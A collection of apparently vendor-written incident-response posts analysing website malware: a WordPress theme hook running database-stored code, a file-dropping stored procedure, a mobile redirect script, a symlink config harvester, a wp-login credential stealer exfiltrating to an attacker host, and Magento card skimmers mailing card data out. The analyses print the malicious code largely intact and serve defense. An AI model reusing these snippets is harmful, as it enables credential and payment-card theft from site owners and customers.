Malware DB Injection called via theme file

Attackers use different techniques to distribute SPAM in a compromised website. Most of the time they choose the file structure to inject the malicious code as it’s a more practical approach. There are exceptions to this case though, and today we are going to talk a little bit more about it.


Recently, we found a well-hidden malware in the database and the only call to it was via the theme. A single line was added to execute the code:

add_action('init', create_function('', implode("n", unserialize(get_option("themes_config")))));

If you are unfamiliar with WordPress functions and structure, the get_option() function retrieves from the database an option value based on an option name (database_prefix_options table e.g.: wp_options).

The following SPAM injection was added into the database in the option name themes_config:

The combination of the single line added to the theme file and the content in the database allows the spam links to be displayed in the post, but only for specific user agents and conditions.

The malicious domain where the SPAM content was being loaded from is unavailable at the moment (hxxp://time-to-fuck-seo(.)org/lnk/bots.dat) but attackers could simply change the domain and still use this technique.

Cleaning the core WordPress files is sometimes not enough. As you can see, one line of code in the theme could call an entire malicious script injected to the database. Because of that, it’s very important to follow best practices and implement a file integrity monitoring system and a website firewall to prevent such issues from happening, or even reaching your website in the first place.

The Tale of a Malicious Stored Procedure

Nowadays, the most common issues with database injections are related to SPAM. Brian Krebs has a book called Spam Nation, that gives us a more in depth understanding of the economic aspects of such issues and how big they actually are. Thanks Ben Martin for letting me know about this book.

During an incident response of a database infection, we noticed an unusual technique - the malicious code had been added into a stored procedure.

DROP PROCEDURE IF EXISTS `p`;

CREATE PROCEDURE p()
BEGIN
 DROP TABLE IF EXISTS `foo`;
 CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
 INSERT INTO `foo` VALUES ("
"); SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE '/home/username/public_html/wp-includes/class-wp-change.php'; DROP TABLE IF EXISTS `foo`; END;;

When the stored procedure was executed, a new table called "foo" was created with a malicious PHP Uploader content in it. Then, the malware was saved onto the file ‘wp-includes/class-wp-change.php’. Simple and elegant.

The problem here is that you can easily find and remove the file ‘class-wp-change.php’ as it’s located within a WordPress core directory. However, the stored procedure in the database would recreate the file every single time and that’s very easy to miss unless you have the habit of checking stored procedures on your database.

Most of the time, attackers will inject malware into different parts of your system to maintain access to the compromised website, even if the obvious backdoor is removed. That’s why simply removing those easy to spot malicious files may not solve the case.

If you need professional help on getting the issues fixed, we’d be happy to assist you!

Malware Targets Mobile Platforms

With the increase of mobile internet browsing, attackers have adapted their techniques to target such platforms and distribute SPAM & malware to these devices. Our free online scanner SiteCheck is tailored to emulate different Mobile User Agents and warn users about possible issues that may affect your computer when accessing a particular website.


During a recent Incident Response investigation of a website displaying pop-ups and redirecting users to malicious sites, we found the following code infecting the header.php file of the theme:

<script>if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("ooglebot")==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|emu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'hxxp://185(.)93(.)187(.)41/kt/JpNx9n');}</script>

This code targets specifically mobile devices and just redirects them to a series of malicious websites, starting from: hxxp://185(.)93(.)187(.)41/kt/JpNx9n and then, going to different sub-pages, such as hxxp://www(.)bestphoneapps(.)mobi (which is quite known to be related with malware spreading campaigns) and finally landing on hxxps://mobrevflwms(.)com, which is also known to be related to malware spreading campaigns.

Depending on the browser/device your visitors are using while accessing the website, they can be presented with a toolbar download page or redirected to a mobile app download page.

It is very important to be careful and understand the risks of having those inadvertent components added into their browser or mobile device. The consequences vary from allowing attackers to arbitrarily access, read, and interact with emails and backend interfaces; ads being injected into pages they were not supposed to; as well as giving sensitive information of their browsing activity and much more.

As website owners, we have to make sure our visitors have the best experience possible and won’t be at risk when accessing your website.

If you detected such redirects or suspect any unexpected behavior, we are here to help you get your website back on track.

Multiple UNIX users symbolic link injector

Recently we found a very interesting malware that injects symbolic links in each and every Linux/UNIX home folder. Once the website is infected, it uses the following code to avoid detection from search engine agents and can be executed only by the attackers:

if (!empty($_SERVER['HTTP_USER_AGENT'])) {    $bot = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");    if (preg_match('/' . implode('|', $bot) . '/i', $_SERVER['HTTP_USER_AGENT'])) {       header('HTTP/1.0 404 Not Found');       exit;    }}


The malicious code also performs other checks, such as verifying if the OS is Windows (as it may not work on that OS due to filesystem differences) and if the symlink function is enabled on the PHP engine:

if ($_POST["m"] && !$_POST["passwd"] == "") {              $check = @ini_get("disable_functions");       if (eregi("symlink", $check)) {           die("<font color=13B8E6>Symlink is Disbled</font>");       }

If the following conditions are met:

  • User Agent is different than search engines;
  • OS is Linux/UNIX based;
  • PHP engine has the symlink function enabled;

The malware injects another code into .htaccess file in order to change your DirectoryIndex to Sux.html, which usually redirects to a defacement page.

Moreover, the attacker also has the capability of sending different $_POST requests in order to try finding the location of the /etc/passwd file.

$etc_passwd = $_POST["passwd"];$etc_passwd = explode("", $etc_passwd);foreach ($etc_passwd as $passwd) {    $pawd = explode(":", $passwd);    $user = $pawd[0];

This technique is used because if the infected server is sitting in a shared environment and they have write permissions to those other directories, attackers can inject multiple symlinks in different users and get as many database files and sensitive data as they can:

@symlink('/home/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');@symlink('/home/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');@symlink('/home/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');

If you don’t use symlinks, our recommendation would be disabling them altogether - this way the script is ineffective. Also check the /home directory on your hosting for different directories that are not known to you, plus for files and folders that are not part of your website.

If you want to be sure that your website is not infected, or if you need help cleaning it up, let us know.

Malicious routine stealing WordPress credentials in the wild

From the hacker’s perspective, maintaining access to a compromised website for as long as possible, is ideal. One way to achieve this goal, is by stealing user’s credentials. This method also could provide the chance to spread the attack across other platforms, in case the user has the same password on other services, like email for example.

Once the attackers inject the code into the site, they must send the stolen data somewhere. It could be either stored on a local file, or sent remotely to an email address or another server.

During an Incident response investigation, we identified such malicious codes sending the credentials to a remote website controlled by the attacker. This code was very interesting because it didn’t use the regular methods, like the mail() function, or creating a curl request. Instead, attackers used file_get_contents().

The following snippet was found inside the wp-login.php file:

...if ( !is_wp_error($user) && !$reauth ) {    file_get_contents(base64_decode('aHh4cDovvL2luZm<REMOVED CONTENT>/dXJsPQ==')   .$_SERVER['HTTP_HOST'].'&user='.$_POST['log'].'&pwd='.$_POST['pwd']);    if ( $interim_login ) {...

The malicious code is just one line long making it difficult to spot by the untrained eye on a complex file like wp-login.php. The base64 encoded string is translated to "hxxp://infected-site.com/getpwd.php?url=", the hacker-controlled site.

The ‘wp-login.php’ is a WordPress core file and it shouldn’t have any modification from its original version (unless the WordPress provides an official update to it).

Using a File Integrity Monitoring System may help you on detecting these modifications and take all the necessary actions to prevent further damage to your website online presence. We also recommend having a Website Firewall Application in place to prevent brute force and unauthorized access to your back-end interface.

Unwanted Sex Toys Advertisement

Recently, during an incident response process, we have found an advertisement floating banner on specific pages of an html-based website. Despite what people think, these websites are also targets of attacks and can be infected.

Different from other platforms, the entry point in this scenario is easier to be detected due to the nature of html-based pages (static content) and the reduced number of components that could make the website prone to a particular vulnerability.


The following banner was inadvertently added into the victim’s website and floating through different pages:

After a quick investigation, we found that it was being triggered by the following code:

 <script>    (function(d, s, id) {       var js, fjs = d.getElementsByTagName(s)[0];       if (d.getElementById(id)) return;       js = d.createElement(s);       js.id = id;       js.src = "//cdn[.]googletoolservices[.]com/jquery-ui[.]js";       fjs.parentNode.insertBefore(js, fjs);    }(document, 'script', 'jquery-uisdk'));</script>

The code above is just the first stage of the attack. It accesses the website: cdn[.]googletoolservices[.]com/jquery-ui[.]js and fetches the malicious payload, which is obfuscated with JS Packer compression. After deobfuscating it, we get this script:

var x113110_hit;if (typeof(x113110_hit) == "undefined") {<    (function() {       var params = {};...       var args = '';       for (var i in params) {           if (args != '') {               args += '&'           }           args += i + '=' + encodeURIComponent(params[i])       }       var st = document.createElement('script');       st.type = 'text/javascript';       st.async = true;       st.charset = 'utf-8';       st.src = '//cdn[.]googletoolservices[.]com/jquery[.]js?' + args;       var s = document.getElementsByTagName('script')[0];       s.parentNode.insertBefore(st, s);       x113110_hit = true    })()}

Which renders out the image-based floating banner, leading to an adult toys website when clicking on it (hxxp://www.la-pareja.com/?qn).

This malware could be injected in several pages of the website but not necessarily in all of them, so it’s important to check all html pages for that particular code and more specifically the link

‘cdn[.]googletoolservices[.]com/jquery-ui[.]js’.

If you’re experiencing similar issues in your website and want it to be cleaned up, let us know.

New version of Magento Credit Card stealer in...

Recently we found another variant of malware that intercepts the credit card data injected into PayPal payment method “app/code/core/Mage/Paypal/Model/Direct.php”.


 $setXBodyText = 'First name : '.trim($order->getBillingAddress()->getFirstname()).'<br>';$setXBodyText .= 'Last name : '.trim($order->getBillingAddress()->getLastname()).'<br>';$setXBodyText .= 'Address : '.trim($order->getBillingAddress()->getStreet(1)).'<br>';$setXBodyText .= 'Address2 : '.trim($order->getBillingAddress()->getStreet(2)).'<br>';$setXBodyText .= 'City : '.trim($order->getBillingAddress()->getCity()).'<br>';$setXBodyText .= 'Phone : '.trim($order->getBillingAddress()->getTelephone()).'<br>';$setXBodyText .= 'Country : '.trim($order->getBillingAddress()->getCountry()).'<br>';$setXBodyText .= 'State : '.trim($order->getBillingAddress()->getRegion()).'<br>';$setXBodyText .= 'Zipcode : '.trim($order->getBillingAddress()->getPostcode()).'<br>';$setXBodyText .= 'Email : '.trim($order->getBillingAddress()->getEmail()).'<br>';if($payment->getCcOwner()){$setXBodyText .= 'name on card : '.trim($payment->getCcOwner()).'<br>';}$setXBodyText .= 'Credit Card Type : '.trim($payment->getCcType()).'<br>';           $setXBodyText .= 'Card number : '.trim($payment->getCcNumber()).'<br>';$setXBodyText .= 'Exp date : '.trim($payment->getCcExpMonth()).trim($payment->getCcExpYear()).'<br>';$setXBodyText .= 'CVV2 : '.trim($payment->getCcCid());$setXBodyTextEncripted = @eval(gzinflate(base64_decode(str_rot13(strrev('=RDe0b0XFAxXGWCavf0<CONTENT REMOVED>F2mPlW7DYX9FlhxjH')))));

Decoding that last part we  understand that all stolen information is sent to a gmail account:

$StoresThisName = $_SERVER['SERVER_NAME'];mail('g<CONTENT REMOVED>a@gmail.com',"Authorize Direct $StoresThisName", $setXBodyText);

When checking the e-mail against our malware samples database, we identified that this is not the first time it is used to receive stolen information from e-commerce solutions.

The following sample is another injection technique used by the same attacker (or group, based on e-mail address). This time around, they intercepted the onepage checkout module to inject the code (app/code/core/Mage/Checkout/Model/Type/Onepage.php”):

eval(gzinflate(base64_decode(str_rot13(strrev('=8j52gl334pv3DXrlwgB2LcqOBIFIxlFS<CONTENT REMOVED>VrIdKNIPFHIRjq6zinVRjbgwoKMa')))));

This is what we get after decoding it:

$what = '---------------------';$send = array('Payment Method' => $data['method'],'Billing Name' => $this->getQuote()->getBillingAddress()->getFirstname() . " " . $this->getQuote()->getBillingAddress()->getLastname(),'Billing Email' => $this->getQuote()->getBillingAddress()->getEmail(),'Billing Address 1' => $this->getQuote()->getBillingAddress()->getStreet(1),'Billing Address 2' => $this->getQuote()->getBillingAddress()->getStreet(2),'Billing City' => $this->getQuote()->getBillingAddress()->getCity(),'Billing State' => $this->getQuote()->getBillingAddress()->getRegion(),'Billing PostCode' => $this->getQuote()->getBillingAddress()->getPostcode(),'Billing Country' => $this->getQuote()->getBillingAddress()->getCountry(),'Billing Phone' => $this->getQuote()->getBillingAddress()->getTelephone(),'Billing Tax' => $this->getQuote()->getBillingAddress()->getTaxvat() or "NULL",'CC Owner' => $data['cc_owner'],'CC Type' => $data['cc_type'],'CC Number' => $data['cc_number'],'CC Start' => trim(sprintf('%02d%02d', $data['cc_ss_start_month'], substr($data['cc_ss_start_year'], strlen($data['cc_ss_start_year']) - 2))),'CC Expired' => trim(sprintf('%02d%02d', $data['cc_exp_month'], substr($data['cc_exp_year'], strlen($data['cc_exp_year']) - 2))),'CC Sec' => $data['cc_cid'],'Account Gender' => $this->getQuote()->getBillingAddress()->getGender() or "NULL",'Account DOB' => $this->getQuote()->getBillingAddress()->getDob() or "NULL",'Account Password' => $this->getQuote()->getBillingAddress()->getCustomerPassword() or "NULL",'IP Address' => trim(getenv('REMOTE_ADDR')),'Web Store' => trim($_SERVER['SERVER_NAME']));$numb = trim($data['cc_number']);$mail = trim($this->getQuote()->getBillingAddress()->getEmail());if($numb != NULL) $what = "$numb - Payment Report";else $what = "Payment Report - $mail";foreach ($send as $param => $value) { $send .= "$param = $valuern";}$data .= @substr($send, 5, -1);@mail('g<CONTENT REMOVED>a@gmail.com', $what, $data);

Hacking into Magento sites and injecting code to steal payment information is very profitable and it’s the biggest trend we are seeing in 2016. It is interesting enough to notice that the same group is being responsible for several attacks.

It's never enough to stress that you should keep your site secure and ensure that all data sent to your website is kept safe at all times, specially if you process payments, usual in e-commerce solutions.